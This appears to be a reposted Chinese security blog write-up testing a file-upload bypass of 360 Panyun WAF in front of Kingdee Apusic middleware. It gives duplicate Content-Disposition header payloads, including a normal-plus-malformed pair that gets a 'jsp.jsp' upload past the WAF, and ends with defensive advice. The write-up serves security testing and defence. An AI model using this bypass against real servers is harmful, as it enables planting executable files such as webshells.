测试环境
-
360磐云WAF -
金蝶apusic中间件
测试方法
-
重复的Content-Disposition请求头 -
异常的form-data参数名
规律总结
-
360磐云WAF:检查所有Content-Disposition请求头,只要有一个请求头存在异常的form-data参数名,就退出检查,将流量放行给后端。 -
金蝶apusic中间件:只使用第一个Content-Disposition请求头,只有当第一个请求头是正确的form-data参数名时,才能正常处理业务,完成文件上传。
测试现象
单写
1、正常=WAF拦截
Content-Disposition: form-data; name="file"; filename="jsp.jsp"
Content-Type: image/jpeg
2、异常=上传失败500
Content-Disposition: aform-data; name="file"; filename="jsp.jsp"
Content-Type: image/jpeg
双写
3、正常,正常=WAF拦截
Content-Disposition: form-data; name="file"; filename="jsp.jsp"
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="jsp.jsp"
Content-Type: image/jpeg
4、正常,异常=上传成功200
Content-Disposition: form-data; name="file"; filename="jsp.jsp"
Content-Type: image/jpeg
Content-Disposition: aform-data; name="file"; filename="jsp.jsp"
Content-Type: image/jpeg
5、异常,正常=上传失败500
6、异常,异常=上传失败500
安全建议
-
对甲方:应持续使用开源或商业的BAS产品,验证安全防护的有效性。 -
对乙方:WAF的检查逻辑,应与中间件的处理逻辑一致,以确保WAF能防护中间件。
原文始发于微信公众号(OneMoreThink):文件上传绕过360磐云WAF
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论